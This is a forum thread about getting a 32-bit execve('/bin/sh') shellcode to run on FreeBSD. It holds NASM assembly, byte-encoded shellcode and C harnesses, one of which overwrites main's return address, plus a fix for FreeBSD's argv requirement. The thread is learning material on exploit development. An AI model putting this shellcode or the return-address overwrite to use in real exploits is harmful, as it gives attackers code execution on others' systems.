How can I test a shellcode in FreeBSD?

I try to test a shellcode in FreeBSD 9 32bits running in VirtualBox, it's a simple shellcode that execute the classic execve("/bin/sh"). The tools I'm using are: nasm(1) and gcc(1).

Before nothing I want to say what is already tried:

  1. Change the value of kern.elf32.nxstack=1 (and nothing happen).
  2. Compile the code with "-z execstack" option (and nothing happen).
  3. Compile the code with "-mpreferred-stack-boundary=2" (I'm not sure why, and again nothing happen).

So, I hope some one can illuminate my path (my lonely path...path...path..).

Here is the assembler code of the shellcode (intel's format):

Code:
shellcode.s

BITS 32

xor eax,eax

push eax
push '//sh'
push '/bin'

mov ebx,esp

push eax
push ebx
push ebx
push eax
mov al,0x3b
int 0x80

and the C code to test the shellcode:

Code:
char shellcode[]=
"\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50"
"\x53\x53\x50\xB0\x3B\xCD\x80";

int main()
{
int *ret;
ret=(int *)&ret=2;
(*ret)=(int)shellcode;

return 0;
}
 
What he tries is to overwrite the return address so the return from main() ends up in the shellcode. But that is not a function call easy to see (and that's so by intent).

some_dude said:
Code:
char shellcode[]=
"\x31\xC0\x50\x68\x2F\x2F\x73\x68\x68\x2F\x62\x69\x6E\x89\xE3\x50"
"\x53\x53\x50\xB0\x3B\xCD\x80";

int main()
{
int *ret;
ret=(int *)&ret[color="Red"]=[/color]2;
(*ret)=(int)shellcode;

return 0;
}

Is that = above a typo? Because it does not make sense. You would need to analyze the assembler code from main() to check that this construct really hits the return address.
 
It has been some years this question was asked. As it may be interesting for somebody I will post the answer. Problem is that FreeBSD doesn't allow you to do:

Code:
execve("/bin/sh", 0, 0)
Which you can easily do on Linux. execve(2) shows:


The argument argv is a pointer to a null-terminated array of character
pointers to null-terminated character strings. These strings construct
the argument list to be made available to the new process. [B]At least one
argument must be present in the array[/B];
Which is a problem. You need to pass the argv with at least one argument.
This is my shellcode:

Code:
section .text
  global _start

_start:
   xor eax, eax

   push eax
   push 0x68732f2f
   push 0x6e69622f     ;
   mov ebx, esp     ; ebx -> "/bin/sh\0"

   push eax
   push ebx
   mov edx, esp     ; edx -> { "/bin/sh", 0}

   push eax     ; NULL env
   push edx     ; { "/bin/sh", 0}
   push ebx     ; "/bin/sh"
   push ebx

   mov al, 0x3b
   int 0x80
Built with:
nasm -g -f elf32 sc.s
ld -melf_i386_fbsd -o sc sc.o


Using your C program there can be a problem to get the correct offset in main to overwrite the RET, when I tried on my box it was 7, not 2.
But you can call the function directly:

Code:
char shellcode[] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe2\x50\x52\x53\x53\xb0\x3b\xcd\x80";

int main() {
   void(*sc)() = (void*)shellcode;
   sc();

   return 1;
}
 
Back
Top